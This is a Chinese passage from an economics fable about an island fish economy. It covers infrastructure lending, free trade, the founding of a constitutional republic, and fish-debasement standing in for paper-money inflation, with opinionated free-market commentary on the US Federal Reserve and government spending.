　　然而，不管她多么喜欢这个主意，如果岛上的存鱼不够，郝寅航也无力支持这个项目。而岛上的确没有足够的存鱼可以供 250 个不捕鱼的工人食用两年。

　　但是竣工之时，自来水厂如广告中宣称的那样送来了水，并归还了贷款和利息。

　　岛民也愿意每年付出一定数量的鱼来换取自来水。自来水厂用这笔钱雇用了 100 多名工人维护这个复杂的供水系统。

　　自来水厂项目取得的巨大成功给整个岛屿的经济带来了好处。自来水服务收费合理，让远离水源的地方也能用上水，以前的不毛之地也可以种庄稼了。

　　水管内水流平稳，可以用来推动机器，这就催生了新的产业。

　　由于人们现在不需要再用手提水，每个人都有更多的时间用于生产产品、提供服务或者开发新的投资项目。高生产率使得全社会的捕鱼量上升，生活水平也随之提高。

故事引申

　　现在岛上的社会比当初只有三个人徒手捕鱼时要大得多了。在一些人看来，支配经济的原理已经改变了。事实果真如此吗？

　　正如数学原理不会因问题的大小而改变，基本经济原理也不会因经济的大小而改变。人们常常认识不到这一点，是因为在储户和借款人之间存在着很多层关系。但是，自我牺牲、储蓄、借贷、投资、经济刺激因素和社会经济发展之间的关系是永远不变的。

贸易

　　随着岛上经济的发展，出口产品的能力也增强了。很快，不少大型货运木筏就满载着鱼、运鱼车、冲浪板、长矛和独木舟驶过公海。由于物美价廉，这些产品在整个大洋上都享有盛誉。人们用它们换取了鲜鱼和其他以前从未在小岛上见过的商品。

　　由于岛上的探险者和其他岛屿建立了联系，贸易得到了发展，进一步促进了经济的增长。如果自由贸易不受限制地自由发展，就会给所有人带来好处。

　　有些岛屿（或者城市、国家甚至个人）通常会有一些产品相对过剩，而别的岛屿正好缺乏这类产品。于是，每个人、每个国家或者岛屿都会利用自己的优势实现利益最大化。

　　比如，附近有座小鼓岛，你可能猜到了，岛上有大量的小鼓。当地人制作小鼓的技艺登峰造极，而且岛上长满了最适合制作鼓的树。因此，岛上的小鼓不计其数，价格也很低廉。作为岛内贸易品，小鼓的销路不畅。

　　离小鼓岛 100 公里的地方有座狂舞岛，岛上的居民对小鼓情有独钟。不幸的是，这座岛上没有适合制作小鼓的树。因此，在狂舞岛上，小鼓是罕见而珍贵的货物。狂舞岛上有大量的椰子防晒油，但是岛上的居民皮肤黝黑，没有必要防晒，因此防晒油对他们来说几乎一文不值。

　　也许是命运使然，在岛上无情的烈日下，皮肤白皙的小鼓岛人备受慢性灼伤的煎熬。

　　在这两座岛屿取得联系后，立即展开了小鼓和防晒油的大宗交换。每座岛屿都利用自身的优势把在岛外售价更高的货物运往另一座岛屿。在这种交换安排中，两座岛屿都受益。人们的生活水平提高了，节奏感很强的鼓声响彻两座岛屿。

　　国际贸易与个人劳动分工没有什么区别。每个人或者每个国家都用自己多余的或者擅长生产的产品，换取自己缺乏的或者不擅长生产的产品。

现实链接

　　基础设施建设投资会对经济产生巨大的影响。然而，只有在收益大于支出时，这种投资才有效果。反之，这些项目就是在浪费资源并阻碍经济增长。

　　目前，很多政治家和经济学家都错误地认为：基础设施建设投资并不是可能带来长期收益的投资，而是增加就业和提振经济的直接手段。

　　在过去的半个世纪里，美国对基础设施建设的投入远远不够。弥补这个缺口对于目前的经济状况而言无疑是一种负担。我们将来才能看到这些投资的收益，而且前提是投资必须成功。

　　在我们的故事中，借给自来水厂项目的 182 500 条鱼就不能再用于其他能够创造就业岗位的投资项目了。其实那个机会不错。假如这些鱼被用在了一个毫无价值的项目上，比如阿拉斯加臭名昭著的“绝路桥”，那就浪费了岛上的储蓄，白费了 250 名工人两年的辛勤劳动。

　　在美国早期的历史上，类似自来水厂这样的项目往往是由私营部门发起的。然而，由于这些项目能否成功很难预料，在这个政府几乎控制了一切基础设施建设的时代，这样一个工程的融资、建设直到最后投入运营都由以营利为目的的私营公司完成，看起来很不可思议。但是在过去事实就是如此。

　　举例来说，纽约地铁基本上就是由私营公司建设的，而且在近 40 年的时间里都是由私营公司负责运营。虽然地铁的造价不菲，但还是实现了赢利。更值得一提的是，40 年里车票价格从未上涨。

　　现如今，选民很容易相信大型公共设施都应该由政府运营，比如下水道、高速公路、运河和桥梁这些可以为所有人提供方便的设施。

　　政治家们成功地让民众相信，唯利是图的私营公司一有机会就会榨取民众的血汗钱。他们用来证明这些论点的证据多半都是从情感上煽动，引起民众的共鸣。其实我们更能确定的是，政府对于公共设施和服务的垄断几乎必然会造成效率低下和贪污腐败。

　　如果政府工程入不敷出且服务质量很差，自由市场的原则也无法帮助其走出困境。政府通常会通过提高税收填补漏洞。这样一来，不仅浪费了社会资源，也降低了人们的生活水平。

　　在贸易上，人们也有同样的错误理念。自由贸易的反对者试图保护美国的就业岗位不受海外竞争的影响，但是他们忽略了进口的好处，忽视了限制选择范围对消费者造成的潜在损失。

　　比如，如果进口的 T 恤衫比美国本土生产的 T 恤衫便宜，那么美国人就可以在 T 恤衫上少花一些钱。省下来的钱可以用于生产别的东西，比如滑板。这对于美国国内的公司，比如优秀滑板制造商，是很有利的，对那些能够输送其最有价值产品的公司也是有利的。

　　可是美国国内那些制作 T 恤衫的失业工人怎么办呢？如果他们的雇主不能在生产 T 恤衫上找到竞争优势，这些工人只能去找别的工作。但是，提供就业岗位并非经济的目的。经济的目的是不断提高生产力。

　　保留无效率的劳动力和资本使用方式对整个社会是没有好处的。如果美国在 T 恤衫生产方面没有竞争优势，那么它就应该找到自己具有优势的行业。

　　如果通过贸易壁垒保护这些就业岗位，制造 T 恤衫的成本还是会居高不下，那么人们就没有更多的钱购买滑板（举例来讲），滑板制造商就会蒙受损失。所以，这种做法虽然保留了上述就业岗位，但我们却没有看到那些因此失去的潜在岗位。

　　浪费劳动力制造那些国外生产率更高的产品是毫无意义的。如果我们专注于生产自己擅长制造的产品，就可以用它们换取别人擅长制造的产品，最终能得到更多。

　　当然，问题在于，因为有了那些人为设置的高汇率、高税率，以及工资法和劳动法，美国占优势的领域并不多。这个局面需要改变。

第八章：一个共和国就这样诞生了

　　一开始，岛上没有政府。艾伯、贝克和查理三人是老朋友，所以总能以和平的方式解决问题。但是，随着简单的社会发展为更加复杂的社会，人们必然需要某些政府机构。

　　岛上的人越来越多，人们之间的误解也大大增加。一旦这些误解无法通过谈判解决，人们就会诉诸武力。

　　因为没有组织有序的共同防御团体，偷鱼贼有时会成群结队而来，在岛上横行霸道，岛民们苦不堪言。

　　时不时地，小鼓岛人也会入侵，他们不仅是优秀的鼓师，还是凶猛的强盗。一旦他们发威，岛上就一条鱼也剩不下了。

　　很明显，岛民需要联合起来，共同维护自己的安全。他们需要领导者，但是交出权力永远是件冒险的事。人们一旦拥有了权力，往往就会滥用。

　　岛民试着选了许多领导者，但选出的人不是自以为是，就是不堪重任。于是他们决定组建一个对人民负责的政府，政府无权剥夺人们的自由，正因为有了自由，这座小岛才实现如今的蓬勃发展。最后大家决定：选举 12 名参议员组成参议院，其中包括一名能够行使行政权力的议长。

　　为保护岛屿不受外敌侵略，参议院决定建立并监管一支海军，由装备长矛的独木舟组成。

　　为了维护社会稳定，也为了保护岛民的生命权、自由权和财产权，参议院决定设立一套法院体系来解决纠纷，同时成立警察小队执行法官的法令。

　　为了促进贸易，参议院决定建立并维护一系列的灯塔，以防岛上的峭壁妨碍海上交通。

　　为了给这些基础的机构和设施提供资金支持，岛民们同意每年缴纳一些鱼作为税款。所有交给政府的鱼都会存放在银行的特别账户中，参议院会从这个账户支取资金用于公共支出。

　　但是，因为岛上的居民都非常崇尚自由，很多人担心赋予极少数人过大的权力。

　　为了确保参议员们不会滥用税款，人们制定了一部宪法，明确规定了参议院享有哪些权力。宪法中没有提及的权力仍旧属于普通民众。为防止人们对参议院的职权范围产生误解，法院系统设置了最高法官一职，负责维护宪法的权威并监督参议员们的行为。

　　在投票通过宪法之后，这座岛就有了一个名字：美索尼亚国。

　　新政府很明智，决定不把所有税款都花掉。在季风来临、无法捕鱼时，或者小鼓岛人发动新一轮袭击时，这些储蓄可以派上大用场。

　　虽然政府确实用这些钱雇了一些人，比如灯塔看守、治安官、法官和海军桨手，但是大家都明白如果没有向政府纳税的社会生产者，这些职位根本不会存在；如果生产者不缴纳税款，政府雇员连饭都吃不上。

故事引申

　　岛民们知道政府的支出就是纳税人缴纳的税款，所以他们认为应该由纳税人决定税款怎么花。因此，只有纳税人可以投票。

　　岛民们也明白税收降低了岛上可用的储蓄总额，限制了投资资本的供给，但是大多数岛民都认为更安全的环境、船只失事事件的减少和解决合同纠纷的法院系统所带来的好处远远大于他们所付出的代价。

　　目前为止，一切都好。但是总会有些事情发生……

现实链接

　　美国建立在对政府权力严格限制的基础上，但是很遗憾，很少有美国人真正认识到这一点。美国的开国元勋们对盛行于 17~18 世纪的关于自由、理性和科学的革命性思想了然于胸，他们试图在人民与政府之间营造一种崭新的关系。在他们的设想中，主权在民，人权神圣不可侵犯。

　　独立战争结束之初，为了建立国家政权（其实很多美国人并不希望这样），美国宪法成了一个设计巧妙的笼子，可以防止政府这个“野兽”发狂失控。宪法不仅防止人民免受政府的独裁统治，还防止少数人受到多数人的暴政的伤害。

　　美国宪法有意将权力分配给联邦政府的不同部门，并把中央的权力下放到各州。更重要的是，宪法可以防止联邦政府从人民手中剥夺任何权利。

　　结果，在这个国家里，人人可以享有人身自由权和财产权，可以随心所欲地处理个人资产，政府无权干涉。虽然并非每个人都能幸运地享有这些权利，但是这无损于这个设想展现出的勇气。毕竟，这是以前任何国家的法典中都不曾有过的。

　　然而随着时间的推移，这个清晰的设想变得模糊了。危机爆发时，很多人都确信政府需要更多权力，人们可以牺牲一些自由。不幸的是，在目前的经济危机中，这个想法仍有不少支持者。

　　我们渴望消除经济紧缩带来的痛苦，但是我们忘记了自由本身就是有风险的。如果政府有责任消除一切苦痛，那么就没有人是自由的。无法自由地失败，也就是无法自由地成功。

第九章：政府的职能开始转变了

　　在几代人的时间里，岛上的政府一直按照设想运行。很多睿智而又严于律己的人做过领袖，他们一直十分注重鼓励企业发展和个人储蓄。在此期间，税收负担相对较轻，对行业的管制也比较宽松。随着商品生产的增加，企业获利，价格稳定回落，购买力增强。在几代人的努力之后，几乎所有的家庭都拥有一条独木舟，有些家庭甚至有两三条。

　　因为只需要少数熟练的渔民捕鱼便可以满足整个岛屿的营养需求，多出来的劳动力和资本就可以投入其他行业了。各种在捕鱼时代闻所未闻的工业和服务业都发展起来。棚屋装修公司、巫医医院和制鼓公司应运而生，蓬勃发展。岛上一片繁荣。西海岸还出现了一个剧团，人们对他们的首场演出《渔民来了》赞不绝口。

　　与此同时，一些参议员基于情感原因认为，宪法中关于纳税与投票权的关系从根本上来说是非民主的。基于进步主义精神，这项规定被废除了，很多不太关心政府预算支出的人也获得了投票权。

　　政府的工资支出随着经济增长而增加，参议员的社会地位也大大提高，这份工作变得非常有吸引力。本来只有德高望重的长者才能担任参议员，现在雄心勃勃、干劲十足的年轻人也对此趋之若鹜。

　　渴望成为参议员的人当中有个名叫“弗兰基·迪普”的人，他比其他人更有创意。他注意到人们做事的一个特点，这为他以后登上权力顶峰提供了途径。

　　他发现人们喜欢免费的东西，同理，人们痛恨纳税。因此，他想出了一个计划：如果他能找到一个方法让岛民们以为他免费给予了他们一些东西，那么他就能够得到无条件的支持。不幸的是，政府所有的一切都来自税款。参议员自己又不捕鱼，他们如果不索取就没法给予。怎么可能给予比索取的多呢？

　　一次猛烈的季风过后，弗兰基看到了机遇（政治家从来不会浪费一次危机）。

　　他鼓吹道：“亲爱的岛民们，我们刚刚经历的风暴给我们带来了无尽的苦难。很多人无家可归、饥肠辘辘，我们不能坐视不管。如果我当选，我会制订一个政府重建计划，帮助最需要的公民弥补损失。”他还向公民承诺，重建的费用由政府税款负担。

　　他的竞争对手格鲁坡·克利夫兰仅仅承诺要好好管理岛上的储蓄，以及不干涉公民权利。

　　毫无悬念，弗兰基·迪普顺利当选为议长。

　　他的胜选并没有改变现状，岛上依然没有足够的储蓄支持他所设想的支出计划。为了弥补这个差距，弗兰基想出了另一个计划。政府可以发行纸币，叫作“鱼邦储备券”，用这种纸币可以到郝寅航那里自由兑换政府储存的鱼。居民们可以立即把纸币兑换成鱼，也可以用纸币购买产品和服务，就像使用真鱼一样。

　　岛上的首席大法官看不过去了，便插手进来。他指出，根据宪法，参议院无权为了某个公民的利益收取另一个公民的钱财，也无权发行纸币代替真鱼。

　　弗兰基随即免了他的职，并任命自己的一个政治伙伴担任大法官一职。由此解决了这个问题。这位政治上的合作伙伴宣称宪法是“灵活的文件”，后代子孙会遇到建国时期的渔民们无法预见的问题，所以宪法的内容是可以根据新形势来解读的。

　　刚开始，公民们还不太习惯使用鱼邦储备券，他们习惯于用真鱼购买东西。但是一段时间以后，纸币就流行起来了。大多数人都不得不承认纸币比鱼更易于携带，而且没有难闻的气味。

　　同时，弗兰基的顾问们全力搜寻岛上值得投资的项目（当然，目的很明确）。如果某项计划可以确保得到潜在选民足够的支持，他们就拨款支持建设。

　　银行的新总裁迈克斯·郝寅航七世对新钞票没什么好感。他认为新钞票印刷十分容易，这会给参议员们带来一种危险的刺激。而且，只有政府在银行里储存足够的鱼，让人们可以兑换所有的钞票，他晚上才能睡得安稳。

　　不出所料，郝寅航七世的信心没能持续多长时间。

　　很快，弗兰基和他的代理人就发放了很多鱼邦储备券，数量远远超过政府账户里的存鱼。郝寅航七世注意到不断缩水的储备，于是跑去提醒参议院。

　　“弗兰基，马上停止印钞！”他喊道，“你们每发行 10 张钞票，我都只有 9 条鱼可以兑换。如果储户发现我们没有足够的鱼可以兑换，他们就会蜂拥到银行来兑现，那时我就没有存鱼啦。你必须停止发行鱼邦储备券，并提高税率。我们必须恢复储备。”

　　弗兰基和他的高级顾问休伊·陀贝及泰德·额奈摩尼听罢都哈哈大笑起来。“调高税率，缩减支出……亏你想得出来！你要是参加竞选，肯定是一把好手！还有别的什么好主意吗？”

　　郝寅航解释道：“对不起，各位。可是我实在别无选择。一旦岛上的储户意识到把鱼存在银行不安全，他们就会停止储蓄。他们会像从前那样把鱼堆在家里。那样的话，我们就没有足够的资本维持我们现在赖以生存的设施，更没有资金投资新的项目了！我们的整个经济就会崩溃！”

　　“听好了，杞人忧天的家伙！”弗兰基说道，“我们早就想到了这一点，我们有应对之策。为什么要让储户知道他们的储蓄在缩水而不是增值呢？”

　　弗兰基解释道：“我的经济顾问都是新大学的高才生，大学里也有不少顶级的科学家。他们想出了很棒的办法，而且他们真的成功了。是让你知道一点儿小秘密的时候了。让技师们进来。”

　　说罢，几个穿着实验服的科学家拿着三条看起来很普通的鱼走了进来。“请看！”其中一个人说道，“我们找遍了海滩和垃圾场，收集被人扔掉的鱼皮和鱼骨——尤其是有完整的鱼头和鱼尾的那种。看好了，我给你变个魔术。”

　　接着，技师们熟练地切割、拼接、黏合和缝纫，让人眼花缭乱。不一会儿，他们就开始在鱼骨上添加鱼肉，制作一条新的鱼。他们调整、造型、黏合，最后缝合。通过这种方法，他们用三条鱼制作出了四条像模像样的鱼。它们刚才还是垃圾，现在看起来就像真的鱼一样！

　　弗兰基说：“秘诀就在于胶水，粘好后永远不会脱落。做出的鱼能一直维持原状，而那些傻蛋们——我是说——民众永远也不会发现。我们会称这种新鱼为‘官鱼’，然后把它们交给储户。让我的技师们到你的保险库忙上几天，存鱼危机不就解决了嘛！”

　　郝寅航惊呆了。他不得不承认这个骗术很高明。他的脸上渐渐露出了微笑。他受够了总是向别人说“不”的日子，那样太没意思，没人喜欢他——人们背地里都叫他“吝啬鬼”。

　　“也许这是个办法！”他暗想，“也许这是我受到大家欢迎的契机。首先我得到鱼，然后是权力，然后是女人！”

　　但是，理智告诉他，这些人不是魔术师，鱼也不是大风刮来的！参议员们所做的只是通过削减岛上储蓄的价值制造假鱼。他试图和他们讲道理。

　　“听我说，储户有一天会明白过来的。你看，你们的官鱼跟真鱼比起来明显要小。毕竟，岛上的人一直以来都在吃鱼，大家都知道一条鱼的价值是多少，骗他们没那么容易。”

　　弗兰基试图打消郝寅航的担忧，他用老到的语气说道：“我们已经考虑到了。所以，一开始官鱼不会太小。每 10 条我们会用 9 条真鱼来做，这样做出的鱼只比真鱼小 10%。另外，也是最天才的部分，我们会立法禁止岛民比较官鱼和真鱼。”

　　泰德·额奈摩尼插嘴道：“对，就是这样。我们会说科学家们在未经处理的鱼里发现了新的病毒，并要求所有人一旦捕到鱼就交由官方做消毒处理！”

　　参议员和技师会告诉人们，消毒过程是怎么使官鱼吃起来没有以前那么饱腹的。

　　为了防止人们看到真鱼，也为了从表面上增加捕鱼量，参议员们决定设立渔业部，它的唯一职责就是捕鱼。

　　郝寅航再也听不下去了。“这行不通！如果人们停止捕鱼，而是依赖于政府，那我们的捕鱼总量就会下降，最终我们会把储蓄用尽的。”

　　“你怎么这么肯定？”弗兰基反问道，“成立渔业部是大势所趋。我们会让最可靠的人做经理，还会向表现出最佳公民精神的工人颁发特别奖品。而且，我们只需要坚持到下次选举结束。在那之后，我们会想出一个更长远的计划——我保证我们会想出来的。”

　　休伊·陀贝接过话道：“与此同时，这个新的鱼增值步骤会给你提供足够的鱼，用来支付储户的利息。我们甚至还可以剩下一些鱼，用在公益事业方面！”

　　郝寅航想了一会儿说：“还是行不通。人们总有一天会明白过来，他们会担心自己的储蓄，因而取出存款。”

　　“这一点我们也想到了。”弗兰基解释说，“我们将宣布所有储蓄将由一个叫作‘鱼邦存款保险公司’的新政府机构承保。一旦得知参议员们为他们的存款担保，还有谁会取回存款呢？保险机制形成以后，储户就会认为我们在保护他们的存款，即便我们实际上是在窃取存款的价值。”

　　“那么，迈克斯。”弗兰基靠近他，在他的肩膀上捏了一把，问道，“你会和我们一起干，对吧？”

　　迈克斯受到诱惑，一度想和他们同流合污，但他最后还是挺直了腰板。政治家们担心的是表面上的偿付能力和他们自己的形象，而迈克斯关心的是鱼的价值。

　　“白日做梦！”他厉声说道，“这是欺诈！如果说你们这些参议员有什么共同点，那就是你们全是骗子！想让我和你们同流合污？我这就回去关闭银行，让人们把鱼存在家里。”

　　在他发表这番攻击性言论的过程中，参议员们面面相觑，无奈地耸肩，最后他们忍无可忍了。弗兰基叫来了警卫，他跟警卫耳语了几句，郝寅航就被拖了出去。郝寅航双脚乱蹬，大声呼喊，但是他临别前的话谁也没听进去。

　　“没办法，对牛弹琴。”弗兰基说，“去把阿里·格林芬叫来！”

　　随后，弗兰基任命格林芬为银行的新主席，他严令格林芬执行鱼增值计划，丝毫不许打折扣。后来，郝寅航存贷款公司改名为“鱼邦储备银行”。

　　第二天早上，有人发现岛上信誉最好的银行家迈克斯·郝寅航七世的尸体挂在珊瑚礁上。他的死被说成是自然死亡。岛上的高层假惺惺地发表了悼词。弗兰基议长为他举办了隆重的葬礼。

　　因为有阿里·格林芬做鱼邦储备银行的主席，他们的计划进行得滴水不漏。从真鱼向官鱼的转变完成了……

　　那个星期之后，很少有岛民意识到，随着迈克斯被埋葬，银行业的可信赖的传统和健全的货币也一起被埋葬了。

现实链接

　　我们前面讨论过，在美国历史上的大多数时期，通货紧缩持续存在。1913 年，美联储成立。美联储发行纸币，承诺纸币持有者可以随时将其兑换成黄金，从而取代了当时流通的私营银行发行的钞票。其实，私营银行也做出了相似的担保。但是，自从美联储登上历史舞台，美国的物价就开始不断上涨。

　　成立美联储的最初目的是形成“弹性货币供应”。当时的设想是：美联储可以根据经济活动的情况，扩大或收紧货币流通量。设计者以为这样可以让物价保持平稳，不受繁荣或萧条的影响。

　　即便这一设想是个好想法，很明显美联储在这个任务上已经一败涂地。

　　在过去的 100 年里，美元损失了超过 95% 的价值。这可真够稳定的！事实上，美联储现在存在的唯一目的就是产生足够的通货膨胀，从而使政府的支出大于税收收入。

　　在“大萧条”中，罗斯福总统决定让美元对黄金贬值。要想实现这一点，美国政府就必须控制整个黄金市场，而且美国政府还一度立法禁止私人拥有金币。后来，要将纸币兑换成黄金，人们只能去公正的银行，后来只能去公正的外国银行，再后来去哪里也兑换不了了。

　　美国人手里只剩下一种没有实际价值且可以随意增发的货币。这使得美国政府再也不必在支出和税收之间做出艰难抉择，也把美国经济引上了一条不归路，总有一天美元剩余的那点儿可怜的价值也会消失。

第十章：不断缩水的鱼就像货币一样

　　参议员们都无法相信自己的好运。现在，他们可以随意做出任何竞选承诺了，再也不必维持收支平衡，也不需要通过提高税率为支出筹钱了。

　　因此，每年政府都发行数量超过银行中可兑换的鱼的鱼邦储备券。一旦储蓄偏低，技师们就施展他们魔法般的技艺。这一切是如此令人兴奋。虽然参议员们心中痛苦挣扎，想要控制局面，让国家回到一条可持续发展的道路上，但是他们就是无法控制自己。

　　一些政府拨款支持的项目使大家受益。岛上的海军换了大船，让小鼓岛人无法靠近，新的道路系统使交通更加便利。然而，充满争议的清洗石块就业计划有多大价值就不好说了。岛上到底是否需要闪闪发亮的石头呢？人们的争论丝毫不能降低那些因为这项计划得到工作的人对该计划的推崇程度。

　　与此同时，新政府渔业部成立并开始运营。渔业部提供很高的工资和良好的福利，很容易就雇到了员工。被雇用的人很喜欢这份稳定的工作，很高兴地把选票投给了他们的参议员赞助人。

　　但是，在光鲜的外表下面，真正的问题在不知不觉中形成了。

　　由于渔业部的员工不会出于个人利益去冒险或获取利润，所以他们的效率很低下。

　　岛上捕获的真鱼的增长率远远低于参议院发行的鱼邦储备券的增长率。

　　很快，鱼邦储备券发行量过大，技师们不得不降低转换率。10∶9 变成了 5∶4。也就是说，官鱼比真鱼要小 20%。

　　后来这个比率也无法维持平衡，转换率又降到 3∶2，最后降到了 2∶1。

　　官鱼越来越小，不久后岛民每天只吃一条鱼已经无法填饱肚子了，大多数人每天至少要吃两条鱼。

　　因为官鱼是岛上的货币，所以物价都必须相应上涨才能弥补鱼损失的营养价值。于是通鱼膨胀的难题产生了。尽管通常来说生产率提高会促使物价下跌，现在政府引起的通鱼膨胀却导致物价上涨。

　　奇怪的是，物价上涨的原因究竟是什么，人们莫衷一是。人们需要一个合理的解释，因此阿里·格林芬提出了一个理论。他解释说：“通鱼膨胀是由一种叫作‘鱼成本推动’的现象引起的。”他说高就业率（部分归功于政府提供的就业岗位）和繁荣的经济一起促使对鱼的需求增加，推动了物价上涨。

　　格林芬指出，现在大多数岛民每天吃的鱼是前辈们的两倍，这就是经济繁荣的明证。

　　格林芬还提醒说，如果没有稳定的通鱼膨胀提供刺激，人们就会失去食欲，对鱼的需求消失，那么岛上的经济就会收缩。他进一步指出，每年贬值一半的通鱼膨胀水平是最理想的。他说，通鱼膨胀是经济发展的重要环节。

　　“说得好，阿里。你都能把死人说活啦。”弗兰基说。没有人想到应该指责政府——这个引发通鱼膨胀的真凶。

　　有了这种可以任意填写数字的空白支票，政府会继续发行更多的钞票取悦民众。这样一来，官鱼的尺寸越来越小，越来越不值钱。因此，工资和物价都要上涨。有些年份，由于生产率提高的抵消作用，人们几乎注意不到通鱼膨胀，但是有两件事是雷打不动的：官鱼从未变大，物价从未下降！

　　随着通鱼膨胀愈演愈烈，岛民们终于注意到他们从银行取出的鱼比他们存入银行的鱼要小。因此，虽然有利息的诱惑，人们还是开始减少储蓄，有些人索性一点儿也不储蓄了。反过来，由于物价不断快速上涨，人们必须抓紧消费，以免损失鱼的价值。

　　快速的通鱼膨胀的最大受害者是退休人员。在参加工作的那些年里他们把鱼存入银行，而现在他们每天必须吃两三条鱼才能果腹。他们原以为可以让他们维持生活 20 年的储蓄，四五年就用光了。

　　通鱼膨胀抑制储蓄，银行储蓄额随之降低了。结果，可以用来投资有前景的项目或者支持不景气的企业的存鱼减少了。相应地，企业开始削减成本，很多工人因此失业。很多岛民迫切希望抵消通鱼膨胀的影响，于是他们决定冒险把存款交给曼尼打理，因为曼尼承诺的回报率很高，这是投资者弥补损失的最大希望。

　　后来失业率达到了危险的水平，人们要求政府采取措施。

　　于是，参议院严格规定了企业应该向工人支付的最低报酬，在什么情况下可以雇用和解雇工人，以及产品价格应该怎么制定。有了这些限制，企业做生意更加困难，发展能力也受到限制。

　　后来，一位新参议员林迪·B 发现了一个竞选的良机——这一次要建立一个大社会！林迪承诺，如果他当选，他不仅会为海军装备更大的长矛，还会向所有失业工人提供紧急失业救济鱼券，以缓解不景气的经济状况。

　　他的竞争对手巴蒂·金余仅仅做出要好好管理岛上储蓄的承诺，以及不干涉公民经济自由的老生常谈。更重要的是，巴蒂指出岛国负担不起昂贵的“长矛和鱼”的政策。

　　毫无悬念，林迪获得了压倒性胜利。

　　这个过程依旧在持续。鱼邦储备券的发行量越来越大，而捕鱼船队带回来的真鱼却越来越少。

　　当官鱼的尺寸变成只有原来的 1/10 时，即便是阿里·格林芬也明白他无法再弄虚作假了。当储藏室里只剩下鱼骨时，他跑到参议院召开了紧急会议。

现实链接

　　经济学家们非常成功地混淆了通货膨胀的起因，手段之一就是简化这个词的定义。几乎所有人都认为物价上涨就是通货膨胀。因此，如果物价没有上涨，就没有通货膨胀。

　　但是上涨的价格不过是通货膨胀的结果罢了！这就好比给气球充气，气球就会不断膨大一样。通货膨胀其实就是货币供应量增加，与其相反的情况即为通货紧缩，意指货币供应收紧。从另一方面来说，价格自身其实不会膨胀或者紧缩，只会上涨或下跌。所以膨胀的不是价格，而是货币供应。

　　凡是 1990 年以前出版的字典对通货膨胀的定义都是货币供应量的增加。较新版本的字典的定义就开始松动了。不过，如果你明白通货膨胀的真正含义，你就会明白，就算货币供应量增加，物价也可以保持平稳甚至下降。

　　经济不景气时，人们会理智地选择停止消费。一旦这样，需求就会降低，物价就会回落。不过有时增加货币供应量能够抵消这些因素，因为增加货币供应量会降低货币的价值。如果通货膨胀发生在经济不景气的时期，物价会上涨（前提是货币发行的速度足够快）、保持平稳或者比正常情况下跌得慢一些。

　　但是，经济不景气时，物价需要下跌才能平衡经济局势。经济不景气时需要通货紧缩，物价下跌能够削弱低就业率的影响。然而，当代经济学家却认为，物价下跌会导致经济陷入需求崩溃的万丈深渊。他们忘记了一旦物价下跌到一定程度，人们就会开始消费。这个过程淘汰了不必要的产能，把物价调低到符合内在供求关系的水平。

　　通货膨胀人为地使物价居高不下，妨碍了上述过程发挥作用。

　　目前，许多政府应对经济衰退的本能反应便是造更多的货币。但是如果货币投入过多，这种手段就会同时带来通货膨胀和经济衰退两大问题，导致“经济停滞型通货膨胀”的出现。20 世纪 70 年代，这种现象最为突出。然而，现今的许多经济学家却一股脑儿地将 20 世纪那段插曲抛到九霄云外，坚持认为通货膨胀和失业问题根本不可能同时存在。他们认为，人们失业时，需求便会下降，价格也会随之下降，可他们却忽略了等式的另一边：一旦工作的人数量减少了，生产的产品也会减少，供应量便会减少。而物质匮乏会导致价格上涨。如果人们向这种并不明朗的经济状况中投入更多货币，必然会导致价格飞涨。

第十一章：中岛帝国：远方的生命线

　　参议院会议上，格林芬说，我已经无能为力了，银行里完全没有存鱼了。一些参议员建议把真相告诉民众，但是遭到了否决。林迪想找个万全之策。

　　他让岛上最聪明的经济学家本·伯南柯接管鱼邦储备银行。

　　“没问题，阁下。”伯南柯说，“现在的情况是民众失去了信心。如果我们现在开始消费更多的鱼邦储备券，人们的信心就会恢复，民众就会重新开始消费。如果有必要，我会坐在棕榈树上往下撒钱。”

　　一些参议员有点儿发懵。虽然他们没有受过伯南柯那样的经济学教育，但还是有人隐隐感觉到所有的问题最初都是由消费过剩引起的。巴蒂·金余据理力争，但是没人理他。

　　所幸，由于出现了意想不到的转机，参议员们不需要再做这些痛苦的抉择。参议院的大门突然被推开了，岛上一位远渡重洋的大使和几个长相奇特的人闯了进来。

　　这位大使在东部海域发现了一个名叫“中岛帝国”的岛国。在那里，所有的居民依然在徒手捕鱼。中岛帝国的经济缺乏自由，因而发展缓慢。

　　在中岛帝国，所有人都必须捕鱼，然而捕获的鱼却不归个人所有。所有的鱼都要上交给国家，由国家决定谁应该得到多少。

　　中岛帝国的国王如果注意到他的渔民没有竭尽全力，就会要求他们在打鱼的同时一起唱爱国歌曲。如果有人忘词了或者走调了，不予以纠正就没有饭吃。

　　在这种制度之下，虽然人均捕鱼量不高，但是当权者却能得到其中的很大一部分。所以，中岛帝国的一般民众每天只能吃到半条鱼，而国王和官员们却每天都能吃到美味海鲜。

　　中岛帝国的情况跟美索尼亚国出现第一份资本前的情况很像，那时没有储蓄，没有银行，没有信贷，更没有企业。在美索尼亚人看来，中岛帝国的经济还处于黑暗时代（中世纪水平）。

　　值得赞扬的是，中岛帝国的国王很明智，他明白这样下去自己国家的经济不会得到快速的发展。得知美索尼亚国经济发展的经过之后，国王对该岛国先进的银行、借贷和贸易系统以及人们奢侈的生活方式印象深刻，他决心让自己的岛屿也变得繁荣起来。

　　国王研究了岛际贸易的运行方式，他推测拥有鱼邦储备券是打开发展之门的钥匙。

　　他注意到这种钞票可以在整个海域作为货币流通，可以用来购买小鼓岛的小鼓，也可以换取狂舞岛上的椰子防晒油。

　　中岛帝国的大使意识到拥有这种钞票就可以融入岛际贸易，于是他提出要用鱼交换鱼邦储备券。

　　参议员们看着中岛帝国的来者，感到难以置信。他们面面相觑，无比惊奇。有这么简单吗？用一堆纸就能换来鲜鱼？

　　林迪毫不犹豫地走上前去，答应了他们的条件，表示美索尼亚国会慷慨地向中岛帝国敞开市场的大门，那什么时候能把船上的鱼卸下来呢？

　　不过，在签署协议之前，中岛帝国大使要求美索尼亚国保证其货币会一直具有实际价值。

　　“放心吧！”林迪说，“不论什么时候你们想用钞票来兑换鲜鱼，只需要到我们银行的窗口来，我们很乐意提供你们所需要的一切。你可以四处看看，我们像缺鱼的样子吗？”

　　于是，双方签订了合约，中岛帝国的鱼也送到了。林迪拿出几堆新印刷的钞票作为交换。他强忍着笑，说了两句临别赠言：“收好了，伙计们。这东西可是很难得的。”

　　他转过头对首席银行家说：“嘿，伯南柯，赶在营业之前把鱼送到银行去。”

